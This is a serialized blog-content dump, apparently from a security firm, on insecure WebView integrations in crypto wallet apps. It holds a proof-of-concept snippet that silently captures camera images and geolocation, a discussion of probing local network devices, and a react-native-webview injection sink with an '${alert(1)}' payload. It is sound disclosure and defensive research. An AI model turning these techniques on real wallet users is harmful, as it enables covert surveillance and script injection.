video",{"type":24,"tag":147,"props":162628,"children":162629},{"style":241},[162630],{"type":29,"value":87},{"type":24,"tag":147,"props":162632,"children":162633},{"style":229},[162634],{"type":29,"value":162635},"play",{"type":24,"tag":147,"props":162637,"children":162638},{"style":241},[162639],{"type":29,"value":9295},{"type":24,"tag":147,"props":162641,"children":162642},{"class":149,"line":805},[162643],{"type":24,"tag":147,"props":162644,"children":162645},{"emptyLinePlaceholder":16},[162646],{"type":29,"value":314},{"type":24,"tag":147,"props":162648,"children":162649},{"class":149,"line":813},[162650,162654,162658,162663,162667,162672,162676,162681,162685,162689,162693,162697,162701,162705],{"type":24,"tag":147,"props":162651,"children":162652},{"style":247},[162653],{"type":29,"value":162504},{"type":24,"tag":147,"props":162655,"children":162656},{"style":241},[162657],{"type":29,"value":87},{"type":24,"tag":147,"props":162659,"children":162660},{"style":229},[162661],{"type":29,"value":162662},"getContext",{"type":24,"tag":147,"props":162664,"children":162665},{"style":241},[162666],{"type":29,"value":480},{"type":24,"tag":147,"props":162668,"children":162669},{"style":3534},[162670],{"type":29,"value":162671},"\"2d\"",{"type":24,"tag":147,"props":162673,"children":162674},{"style":241},[162675],{"type":29,"value":5745},{"type":24,"tag":147,"props":162677,"children":162678},{"style":229},[162679],{"type":29,"value":162680},"drawImage",{"type":24,"tag":147,"props":162682,"children":162683},{"style":241},[162684],{"type":29,"value":480},{"type":24,"tag":147,"props":162686,"children":162687},{"style":247},[162688],{"type":29,"value":8400},{"type":24,"tag":147,"props":162690,"children":162691},{"style":241},[162692],{"type":29,"value":546},{"type":24,"tag":147,"props":162694,"children":162695},{"style":705},[162696],{"type":29,"value":3173},{"type":24,"tag":147,"props":162698,"children":162699},{"style":241},[162700],{"type":29,"value":546},{"type":24,"tag":147,"props":162702,"children":162703},{"style":705},[162704],{"type":29,"value":3173},{"type":24,"tag":147,"props":162706,"children":162707},{"style":241},[162708],{"type":29,"value":1473},{"type":24,"tag":147,"props":162710,"children":162711},{"class":149,"line":821},[162712,162717,162721,162726,162730,162735,162739,162743,162747,162752,162756,162761],{"type":24,"tag":147,"props":162713,"children":162714},{"style":247},[162715],{"type":29,"value":162716},"                stream",{"type":24,"tag":147,"props":162718,"children":162719},{"style":241},[162720],{"type":29,"value":87},{"type":24,"tag":147,"props":162722,"children":162723},{"style":229},[162724],{"type":29,"value":162725},"getTracks",{"type":24,"tag":147,"props":162727,"children":162728},{"style":241},[162729],{"type":29,"value":35769},{"type":24,"tag":147,"props":162731,"children":162732},{"style":229},[162733],{"type":29,"value":162734},"forEach",{"type":24,"tag":147,"props":162736,"children":162737},{"style":241},[162738],{"type":29,"value":480},{"type":24,"tag":147,"props":162740,"children":162741},{"style":247},[162742],{"type":29,"value":27332},{"type":24,"tag":147,"props":162744,"children":162745},{"style":218},[162746],{"type":29,"value":33354},{"type":24,"tag":147,"props":162748,"children":162749},{"style":247},[162750],{"type":29,"value":162751}," t",{"type":24,"tag":147,"props":162753,"children":162754},{"style":241},[162755],{"type":29,"value":87},{"type":24,"tag":147,"props":162757,"children":162758},{"style":229},[162759],{"type":29,"value":162760},"stop",{"type":24,"tag":147,"props":162762,"children":162763},{"style":241},[162764],{"type":29,"value":21037},{"type":24,"tag":147,"props":162766,"children":162767},{"class":149,"line":1902},[162768,162772,162776,162781,162785,162789,162793,162797],{"type":24,"tag":147,"props":162769,"children":162770},{"style":247},[162771],{"type":29,"value":162504},{"type":24,"tag":147,"props":162773,"children":162774},{"style":241},[162775],{"type":29,"value":87},{"type":24,"tag":147,"props":162777,"children":162778},{"style":229},[162779],{"type":29,"value":162780},"toBlob",{"type":24,"tag":147,"props":162782,"children":162783},{"style":241},[162784],{"type":29,"value":37123},{"type":24,"tag":147,"props":162786,"children":162787},{"style":247},[162788],{"type":29,"value":38549},{"type":24,"tag":147,"props":162790,"children":162791},{"style":241},[162792],{"type":29,"value":564},{"type":24,"tag":147,"props":162794,"children":162795},{"style":218},[162796],{"type":29,"value":20435},{"type":24,"tag":147,"props":162798,"children":162799},{"style":241},[162800],{"type":29,"value":6630},{"type":24,"tag":147,"props":162802,"children":162803},{"class":149,"line":1920},[162804,162809,162813,162817,162821,162826,162830,162835,162839,162843],{"type":24,"tag":147,"props":162805,"children":162806},{"style":247},[162807],{"type":29,"value":162808},"                    pic",{"type":24,"tag":147,"props":162810,"children":162811},{"style":241},[162812],{"type":29,"value":87},{"type":24,"tag":147,"props":162814,"children":162815},{"style":247},[162816],{"type":29,"value":38270},{"type":24,"tag":147,"props":162818,"children":162819},{"style":241},[162820],{"type":29,"value":38512},{"type":24,"tag":147,"props":162822,"children":162823},{"style":247},[162824],{"type":29,"value":162825},"URL",{"type":24,"tag":147,"props":162827,"children":162828},{"style":241},[162829],{"type":29,"value":87},{"type":24,"tag":147,"props":162831,"children":162832},{"style":229},[162833],{"type":29,"value":162834},"createObjectURL",{"type":24,"tag":147,"props":162836,"children":162837},{"style":241},[162838],{"type":29,"value":480},{"type":24,"tag":147,"props":162840,"children":162841},{"style":247},[162842],{"type":29,"value":38549},{"type":24,"tag":147,"props":162844,"children":162845},{"style":241},[162846],{"type":29,"value":1473},{"type":24,"tag":147,"props":162848,"children":162849},{"class":149,"line":1929},[162850],{"type":24,"tag":147,"props":162851,"children":162852},{"style":241},[162853],{"type":29,"value":162854},"                });\n",{"type":24,"tag":147,"props":162856,"children":162857},{"class":149,"line":1938},[162858],{"type":24,"tag":147,"props":162859,"children":162860},{"emptyLinePlaceholder":16},[162861],{"type":29,"value":314},{"type":24,"tag":147,"props":162863,"children":162864},{"class":149,"line":1946},[162865,162870,162874,162879,162883,162888,162892,162897,162901],{"type":24,"tag":147,"props":162866,"children":162867},{"style":247},[162868],{"type":29,"value":162869},"                navigator",{"type":24,"tag":147,"props":162871,"children":162872},{"style":241},[162873],{"type":29,"value":87},{"type":24,"tag":147,"props":162875,"children":162876},{"style":247},[162877],{"type":29,"value":162878},"geolocation",{"type":24,"tag":147,"props":162880,"children":162881},{"style":241},[162882],{"type":29,"value":87},{"type":24,"tag":147,"props":162884,"children":162885},{"style":229},[162886],{"type":29,"value":162887},"getCurrentPosition",{"type":24,"tag":147,"props":162889,"children":162890},{"style":241},[162891],{"type":29,"value":480},{"type":24,"tag":147,"props":162893,"children":162894},{"style":247},[162895],{"type":29,"value":162896},"pos",{"type":24,"tag":147,"props":162898,"children":162899},{"style":218},[162900],{"type":29,"value":33354},{"type":24,"tag":147,"props":162902,"children":162903},{"style":241},[162904],{"type":29,"value":6630},{"type":24,"tag":147,"props":162906,"children":162907},{"class":149,"line":1955},[162908,162913,162917,162921,162925,162929,162934],{"type":24,"tag":147,"props":162909,"children":162910},{"style":218},[162911],{"type":29,"value":162912},"                    const",{"type":24,"tag":147,"props":162914,"children":162915},{"style":247},[162916],{"type":29,"value":43043},{"type":24,"tag":147,"props":162918,"children":162919},{"style":241},[162920],{"type":29,"value":38512},{"type":24,"tag":147,"props":162922,"children":162923},{"style":247},[162924],{"type":29,"value":162896},{"type":24,"tag":147,"props":162926,"children":162927},{"style":241},[162928],{"type":29,"value":87},{"type":24,"tag":147,"props":162930,"children":162931},{"style":247},[162932],{"type":29,"value":162933},"coords",{"type":24,"tag":147,"props":162935,"children":162936},{"style":241},[162937],{"type":29,"value":432},{"type":24,"tag":147,"props":162939,"children":162940},{"class":149,"line":29376},[162941,162946,162950,162954,162958,162963,162967,162971,162975,162980,162984,162989,162993,162997,163001,163005,163009,163014,163018,163022,163026,163031,163035,163039,163043,163047,163051,163055,163059],{"type":24,"tag":147,"props":162942,"children":162943},{"style":247},[162944],{"type":29,"value":162945},"                    gps",{"type":24,"tag":147,"props":162947,"children":162948},{"style":241},[162949],{"type":29,"value":87},{"type":24,"tag":147,"props":162951,"children":162952},{"style":247},[162953],{"type":29,"value":40565},{"type":24,"tag":147,"props":162955,"children":162956},{"style":241},[162957],{"type":29,"value":38512},{"type":24,"tag":147,"props":162959,"children":162960},{"style":3534},[162961],{"type":29,"value":162962},"`Lat: ",{"type":24,"tag":147,"props":162964,"children":162965},{"style":218},[162966],{"type":29,"value":39709},{"type":24,"tag":147,"props":162968,"children":162969},{"style":247},[162970],{"type":29,"value":140},{"type":24,"tag":147,"props":162972,"children":162973},{"style":241},[162974],{"type":29,"value":87},{"type":24,"tag":147,"props":162976,"children":162977},{"style":247},[162978],{"type":29,"value":162979},"latitude",{"type":24,"tag":147,"props":162981,"children":162982},{"style":241},[162983],{"type":29,"value":87},{"type":24,"tag":147,"props":162985,"children":162986},{"style":229},[162987],{"type":29,"value":162988},"toFixed",{"type":24,"tag":147,"props":162990,"children":162991},{"style":241},[162992],{"type":29,"value":480},{"type":24,"tag":147,"props":162994,"children":162995},{"style":705},[162996],{"type":29,"value":1154},{"type":24,"tag":147,"props":162998,"children":162999},{"style":241},[163000],{"type":29,"value":8758},{"type":24,"tag":147,"props":163002,"children":163003},{"style":218},[163004],{"type":29,"value":39741},{"type":24,"tag":147,"props":163006,"children":163007},{"style":53972},[163008],{"type":29,"value":53975},{"type":24,"tag":147,"props":163010,"children":163011},{"style":3534},[163012],{"type":29,"value":163013},"Lon: ",{"type":24,"tag":147,"props":163015,"children":163016},{"style":218},[163017],{"type":29,"value":39709},{"type":24,"tag":147,"props":163019,"children":163020},{"style":247},[163021],{"type":29,"value":140},{"type":24,"tag":147,"props":163023,"children":163024},{"style":241},[163025],{"type":29,"value":87},{"type":24,"tag":147,"props":163027,"children":163028},{"style":247},[163029],{"type":29,"value":163030},"longitude",{"type":24,"tag":147,"props":163032,"children":163033},{"style":241},[163034],{"type":29,"value":87},{"type":24,"tag":147,"props":163036,"children":163037},{"style":229},[163038],{"type":29,"value":162988},{"type":24,"tag":147,"props":163040,"children":163041},{"style":241},[163042],{"type":29,"value":480},{"type":24,"tag":147,"props":163044,"children":163045},{"style":705},[163046],{"type":29,"value":1154},{"type":24,"tag":147,"props":163048,"children":163049},{"style":241},[163050],{"type":29,"value":8758},{"type":24,"tag":147,"props":163052,"children":163053},{"style":218},[163054],{"type":29,"value":39741},{"type":24,"tag":147,"props":163056,"children":163057},{"style":3534},[163058],{"type":29,"value":16003},{"type":24,"tag":147,"props":163060,"children":163061},{"style":241},[163062],{"type":29,"value":432},{"type":24,"tag":147,"props":163064,"children":163065},{"class":149,"line":29384},[163066,163071,163075,163079,163084,163088,163092],{"type":24,"tag":147,"props":163067,"children":163068},{"style":241},[163069],{"type":29,"value":163070},"                }, ",{"type":24,"tag":147,"props":163072,"children":163073},{"style":247},[163074],{"type":29,"value":54019},{"type":24,"tag":147,"props":163076,"children":163077},{"style":218},[163078],{"type":29,"value":33354},{"type":24,"tag":147,"props":163080,"children":163081},{"style":229},[163082],{"type":29,"value":163083}," alert",{"type":24,"tag":147,"props":163085,"children":163086},{"style":241},[163087],{"type":29,"value":480},{"type":24,"tag":147,"props":163089,"children":163090},{"style":247},[163091],{"type":29,"value":54019},{"type":24,"tag":147,"props":163093,"children":163094},{"style":241},[163095],{"type":29,"value":12849},{"type":24,"tag":147,"props":163097,"children":163098},{"class":149,"line":29421},[163099],{"type":24,"tag":147,"props":163100,"children":163101},{"style":241},[163102],{"type":29,"value":53673},{"type":24,"tag":147,"props":163104,"children":163105},{"class":149,"line":29434},[163106],{"type":24,"tag":147,"props":163107,"children":163108},{"emptyLinePlaceholder":16},[163109],{"type":29,"value":314},{"type":24,"tag":147,"props":163111,"children":163112},{"class":149,"line":29447},[163113],{"type":24,"tag":147,"props":163114,"children":163115},{"style":241},[163116],{"type":29,"value":441},{"type":24,"tag":147,"props":163118,"children":163119},{"class":149,"line":29460},[163120,163125],{"type":24,"tag":147,"props":163121,"children":163122},{"style":229},[163123],{"type":29,"value":163124},"        main",{"type":24,"tag":147,"props":163126,"children":163127},{"style":241},[163128],{"type":29,"value":9295},{"type":24,"tag":147,"props":163130,"children":163131},{"class":149,"line":29514},[163132,163136,163140],{"type":24,"tag":147,"props":163133,"children":163134},{"style":37976},[163135],{"type":29,"value":38429},{"type":24,"tag":147,"props":163137,"children":163138},{"style":218},[163139],{"type":29,"value":38016},{"type":24,"tag":147,"props":163141,"children":163142},{"style":37976},[163143],{"type":29,"value":11617},{"type":24,"tag":147,"props":163145,"children":163146},{"class":149,"line":29523},[163147,163151,163155],{"type":24,"tag":147,"props":163148,"children":163149},{"style":37976},[163150],{"type":29,"value":38030},{"type":24,"tag":147,"props":163152,"children":163153},{"style":218},[163154],{"type":29,"value":38000},{"type":24,"tag":147,"props":163156,"children":163157},{"style":37976},[163158],{"type":29,"value":11617},{"type":24,"tag":147,"props":163160,"children":163161},{"class":149,"line":37881},[163162,163166,163170],{"type":24,"tag":147,"props":163163,"children":163164},{"style":37976},[163165],{"type":29,"value":38030},{"type":24,"tag":147,"props":163167,"children":163168},{"style":218},[163169],{"type":29,"value":37983},{"type":24,"tag":147,"props":163171,"children":163172},{"style":37976},[163173],{"type":29,"value":11617},{"type":24,"tag":112,"props":163175,"children":163176},{"id":9851},[163177],{"type":29,"value":9854},{"type":24,"tag":25,"props":163179,"children":163180},{},[163181],{"type":29,"value":163182},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":24,"tag":25,"props":163184,"children":163185},{},[163186,163188,163194],{"type":29,"value":163187},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":24,"tag":2773,"props":163189,"children":163192},{"href":163190,"rel":163191},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[2777],[163193],{"type":29,"value":8440},{"type":29,"value":87},{"type":24,"tag":36947,"props":163196,"children":163197},{"style":36949},[163198],{"type":24,"tag":63,"props":163199,"children":163203},{"src":163200,"alt":163201,"style":163202},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":163205,"children":163206},{},[163207],{"type":29,"value":163208},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":24,"tag":32,"props":163210,"children":163212},{"id":163211},"local-network-access",[163213],{"type":29,"value":163214},"Local Network Access",{"type":24,"tag":25,"props":163216,"children":163217},{},[163218,163220,163227,163229,163235],{"type":29,"value":163219},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":24,"tag":2773,"props":163221,"children":163224},{"href":163222,"rel":163223},"https://wicg.github.io/private-network-access/",[2777],[163225],{"type":29,"value":163226},"Private Network Access",{"type":29,"value":163228}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":24,"tag":2773,"props":163230,"children":163233},{"href":163231,"rel":163232},"https://x.com/taviso/status/2051310678800253318",[2777],[163234],{"type":29,"value":163231},{"type":29,"value":163236},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":24,"tag":36947,"props":163238,"children":163239},{"style":36949},[163240],{"type":24,"tag":63,"props":163241,"children":163244},{"src":163242,"alt":163201,"style":163243},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":163246,"children":163247},{},[163248],{"type":29,"value":163249},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":24,"tag":163251,"props":163252,"children":163255},"zoom-image",{"src":163253,"alt":163254},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":24,"tag":25,"props":163257,"children":163258},{},[163259],{"type":29,"value":163260},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":24,"tag":22292,"props":163262,"children":163263},{},[163264,163269,163274],{"type":24,"tag":2678,"props":163265,"children":163266},{},[163267],{"type":29,"value":163268},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":24,"tag":2678,"props":163270,"children":163271},{},[163272],{"type":29,"value":163273},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":24,"tag":2678,"props":163275,"children":163276},{},[163277],{"type":29,"value":163278},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":24,"tag":25,"props":163280,"children":163281},{},[163282],{"type":29,"value":163283},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":24,"tag":32,"props":163285,"children":163287},{"id":163286},"uxss-by-code-injection",[163288],{"type":29,"value":163289},"UXSS by Code Injection",{"type":24,"tag":25,"props":163291,"children":163292},{},[163293,163295,163301],{"type":29,"value":163294},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":24,"tag":80,"props":163296,"children":163298},{"className":163297},[],[163299],{"type":29,"value":163300},"injectJavascriptObject",{"type":29,"value":163302}," attribute worked. Here is the code snippet:",{"type":24,"tag":137,"props":163304,"children":163306},{"className":161542,"code":163305,"language":161544,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[163307],{"type":24,"tag":80,"props":163308,"children":163309},{"__ignoreMap":7},[163310,163330,163359,163393,163448,163553,163565,163578],{"type":24,"tag":147,"props":163311,"children":163312},{"class":149,"line":150},[163313,163317,163321,163326],{"type":24,"tag":147,"props":163314,"children":163315},{"style":218},[163316],{"type":29,"value":76366},{"type":24,"tag":147,"props":163318,"children":163319},{"style":9044},[163320],{"type":29,"value":226},{"type":24,"tag":147,"props":163322,"children":163323},{"style":229},[163324],{"type":29,"value":163325}," injectJavascriptObject",{"type":24,"tag":147,"props":163327,"children":163328},{"style":235},[163329],{"type":29,"value":21347},{"type":24,"tag":147,"props":163331,"children":163332},{"class":149,"line":160},[163333,163337,163341,163346,163350,163355],{"type":24,"tag":147,"props":163334,"children":163335},{"style":321},[163336],{"type":29,"value":44883},{"type":24,"tag":147,"props":163338,"children":163339},{"style":235},[163340],{"type":29,"value":408},{"type":24,"tag":147,"props":163342,"children":163343},{"style":229},[163344],{"type":29,"value":163345},"getSettings",{"type":24,"tag":147,"props":163347,"children":163348},{"style":235},[163349],{"type":29,"value":35769},{"type":24,"tag":147,"props":163351,"children":163352},{"style":229},[163353],{"type":29,"value":163354},"getJavaScriptEnabled",{"type":24,"tag":147,"props":163356,"children":163357},{"style":235},[163358],{"type":29,"value":97604},{"type":24,"tag":147,"props":163360,"children":163361},{"class":149,"line":169},[163362,163367,163372,163376,163381,163385,163389],{"type":24,"tag":147,"props":163363,"children":163364},{"style":9044},[163365],{"type":29,"value":163366},"        String",{"type":24,"tag":147,"props":163368,"children":163369},{"style":247},[163370],{"type":29,"value":163371}," js",{"type":24,"tag":147,"props":163373,"children":163374},{"style":241},[163375],{"type":29,"value":651},{"type":24,"tag":147,"props":163377,"children":163378},{"style":3534},[163379],{"type":29,"value":163380}," \"(function(){",{"type":24,"tag":147,"props":163382,"children":163383},{"style":53972},[163384],{"type":29,"value":53975},{"type":24,"tag":147,"props":163386,"children":163387},{"style":3534},[163388],{"type":29,"value":25663},{"type":24,"tag":147,"props":163390,"children":163391},{"style":241},[163392],{"type":29,"value":15409},{"type":24,"tag":147,"props":163394,"children":163395},{"class":149,"line":178},[163396,163401,163405,163410,163414,163419,163423,163427,163431,163436,163440,163444],{"type":24,"tag":147,"props":163397,"children":163398},{"style":3534},[163399],{"type":29,"value":163400},"          \"    window.\"",{"type":24,"tag":147,"props":163402,"children":163403},{"style":241},[163404],{"type":29,"value":1734},{"type":24,"tag":147,"props":163406,"children":163407},{"style":235},[163408],{"type":29,"value":163409}," JAVASCRIPT_INTERFACE ",{"type":24,"tag":147,"props":163411,"children":163412},{"style":241},[163413],{"type":29,"value":624},{"type":24,"tag":147,"props":163415,"children":163416},{"style":3534},[163417],{"type":29,"value":163418}," \" = window.\"",{"type":24,"tag":147,"props":163420,"children":163421},{"style":241},[163422],{"type":29,"value":1734},{"type":24,"tag":147,"props":163424,"children":163425},{"style":235},[163426],{"type":29,"value":163409},{"type":24,"tag":147,"props":163428,"children":163429},{"style":241},[163430],{"type":29,"value":624},{"type":24,"tag":147,"props":163432,"children":163433},{"style":3534},[163434],{"type":29,"value":163435}," \" || {};",{"type":24,"tag":147,"props":163437,"children":163438},{"style":53972},[163439],{"type":29,"value":53975},{"type":24,"tag":147,"props":163441,"children":163442},{"style":3534},[163443],{"type":29,"value":25663},{"type":24,"tag":147,"props":163445,"children":163446},{"style":241},[163447],{"type":29,"value":15409},{"type":24,"tag":147,"props":163449,"children":163450},{"class":149,"line":187},[163451,163455,163459,163463,163467,163472,163476,163481,163485,163489,163493,163497,163501,163505,163510,163514,163519,163523,163528,163532,163536,163541,163545,163549],{"type":24,"tag":147,"props":163452,"children":163453},{"style":3534},[163454],{"type":29,"value":163400},{"type":24,"tag":147,"props":163456,"children":163457},{"style":241},[163458],{"type":29,"value":1734},{"type":24,"tag":147,"props":163460,"children":163461},{"style":235},[163462],{"type":29,"value":163409},{"type":24,"tag":147,"props":163464,"children":163465},{"style":241},[163466],{"type":29,"value":624},{"type":24,"tag":147,"props":163468,"children":163469},{"style":3534},[163470],{"type":29,"value":163471}," \".injectedObjectJson = function () { return \"",{"type":24,"tag":147,"props":163473,"children":163474},{"style":241},[163475],{"type":29,"value":1734},{"type":24,"tag":147,"props":163477,"children":163478},{"style":235},[163479],{"type":29,"value":163480}," (injectedJavaScriptObject ",{"type":24,"tag":147,"props":163482,"children":163483},{"style":241},[163484],{"type":29,"value":6600},{"type":24,"tag":147,"props":163486,"children":163487},{"style":218},[163488],{"type":29,"value":75852},{"type":24,"tag":147,"props":163490,"children":163491},{"style":321},[163492],{"type":29,"value":103622},{"type":24,"tag":147,"props":163494,"children":163495},{"style":218},[163496],{"type":29,"value":75852},{"type":24,"tag":147,"props":163498,"children":163499},{"style":321},[163500],{"type":29,"value":40717},{"type":24,"tag":147,"props":163502,"children":163503},{"style":235},[163504],{"type":29,"value":408},{"type":24,"tag":147,"props":163506,"children":163507},{"style":3534},[163508],{"type":29,"value":163509},"\"`\"",{"type":24,"tag":147,"props":163511,"children":163512},{"style":241},[163513],{"type":29,"value":1734},{"type":24,"tag":147,"props":163515,"children":163516},{"style":235},[163517],{"type":29,"value":163518}," injectedJavaScriptObject ",{"type":24,"tag":147,"props":163520,"children":163521},{"style":241},[163522],{"type":29,"value":624},{"type":24,"tag":147,"props":163524,"children":163525},{"style":3534},[163526],{"type":29,"value":163527}," \"`\"",{"type":24,"tag":147,"props":163529,"children":163530},{"style":235},[163531],{"type":29,"value":14462},{"type":24,"tag":147,"props":163533,"children":163534},{"style":241},[163535],{"type":29,"value":624},{"type":24,"tag":147,"props":163537,"children":163538},{"style":3534},[163539],{"type":29,"value":163540}," \"; };",{"type":24,"tag":147,"props":163542,"children":163543},{"style":53972},[163544],{"type":29,"value":53975},{"type":24,"tag":147,"props":163546,"children":163547},{"style":3534},[163548],{"type":29,"value":25663},{"type":24,"tag":147,"props":163550,"children":163551},{"style":241},[163552],{"type":29,"value":15409},{"type":24,"tag":147,"props":163554,"children":163555},{"class":149,"line":196},[163556,163561],{"type":24,"tag":147,"props":163557,"children":163558},{"style":3534},[163559],{"type":29,"value":163560},"          \"})();\"",{"type":24,"tag":147,"props":163562,"children":163563},{"style":235},[163564],{"type":29,"value":432},{"type":24,"tag":147,"props":163566,"children":163567},{"class":149,"line":205},[163568,163573],{"type":24,"tag":147,"props":163569,"children":163570},{"style":229},[163571],{"type":29,"value":163572},"        evaluateJavascriptWithFallback",{"type":24,"tag":147,"props":163574,"children":163575},{"style":235},[163576],{"type":29,"value":163577},"(js);\n",{"type":24,"tag":147,"props":163579,"children":163580},{"class":149,"line":214},[163581],{"type":24,"tag":147,"props":163582,"children":163583},{"style":235},[163584],{"type":29,"value":18282},{"type":24,"tag":25,"props":163586,"children":163587},{},[163588,163590,163596,163598,163603,163605,163611],{"type":29,"value":163589},"It basically injects a javascript code with the ",{"type":24,"tag":80,"props":163591,"children":163593},{"className":163592},[],[163594],{"type":29,"value":163595},"injectedJavascriptObject",{"type":29,"value":163597}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":24,"tag":80,"props":163599,"children":163601},{"className":163600},[],[163602],{"type":29,"value":163595},{"type":29,"value":163604},". If we control a single attribute we can inject a payload like ",{"type":24,"tag":80,"props":163606,"children":163608},{"className":163607},[],[163609],{"type":29,"value":163610},"${alert(1)}",{"type":29,"value":163612}," and achieve XSS in the context of the loaded page.",{"type":24,"tag":25,"props":163614,"children":163615},{},[163616,163618,163625],{"type":29,"value":163617},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":24,"tag":2773,"props":163619,"children":163622},{"href":163620,"rel":163621},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[2777],[163623],{"type":29,"value":163624},"PR with the report and fix",{"type":29,"value":87},{"type":24,"tag":25,"props":163627,"children":163628},{},[163629],{"type":29,"value":163630},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":24,"tag":25,"props":163632,"children":163633},{},[163634,163636,163642],{"type":29,"value":163635},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":24,"tag":80,"props":163637,"children":163639},{"className":163638},[],[163640],{"type":29,"value":163641},"injectedJavaScriptObject",{"type":29,"value":163643}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":24,"tag":43,"props":163645,"children":163646},{"id":8458},[163647],{"type":29,"value":8461},{"type":24,"tag":25,"props":163649,"children":163650},{},[163651],{"type":29,"value":163652},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":24,"tag":8473,"props":163654,"children":163655},{},[163656],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":163658},[163659,163663,163666,163667],{"id":161382,"depth":160,"text":161385,"children":163660},[163661,163662],{"id":161393,"depth":169,"text":161396},{"id":161468,"depth":169,"text":161471},{"id":161501,"depth":160,"text":161504,"children":163664},[163665],{"id":161691,"depth":169,"text":161694},{"id":163211,"depth":160,"text":163214},{"id":163286,"depth":160,"text":163289,"children":163668},[163669],{"id":8458,"depth":169,"text":8461},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":163674,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":163675,"description":163676,"date":163677,"author":163678,"image":163679,"isFeatured":16,"onBlogPage":16,"tags":163683,"hideToc":16,"body":163687,"_type":8496,"_id":170326,"_source":8498,"_file":170327,"_stem":170328,"_extension":8501},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":163680,"width":163681,"height":163682},"/posts/hyperliquid-risk-engine/title.png",1456,816,[163684,163685,163686],"hyperliquid","reverse-engineering","defi",{"type":21,"children":163688,"toc":170298},[163689,163695,163703,163708,163713,163718,163730,163735,163748,163767,163773,163785,163798,163803,163834,163839,163852,163857,164048,164054,164059,164071,164077,164082,164088,164101,164135,164140,164145,164157,164163,164183,164191,164204,164210,164221,164227,164239,164244,164250,164270,164278,164284,164318,164322,164358,164363,164368,164373,164386,164423,164428,164442,164448,164453,164479,164487,164492,164520,164525,164530,164868,164873,164878,164898,164925,164930,164943,164955,164960,164965,164971,164976,164981,164995,165000,165006,165034,165071,165082,165086,165091,165096,165102,165268,165303,165308,165314,165320,165509,165522,165527,165533,165554,165559,165565,165570,165575,165587,165592,165597,165603,165608,165613,165619,165625,165638,165671,165676,168252,168520,168525,169855,169860,169865,169877,169968,169980,169985,169991,169996,170004,170009,170017,170023,170057,170068,170076,170082,170088,170093,170101,170106,170111,170119,170131,170137,170142,170148,170159,170164,170170,170175,170180,170186,170191,170194,170199,170204,170210,170215,170227,170232,170237],{"type":24,"tag":32,"props":163690,"children":163692},{"id":163691},"perpetuals",[163693],{"type":29,"value":163694},"Perpetuals",{"type":24,"tag":98,"props":163696,"children":163697},{},[163698],{"type":24,"tag":25,"prop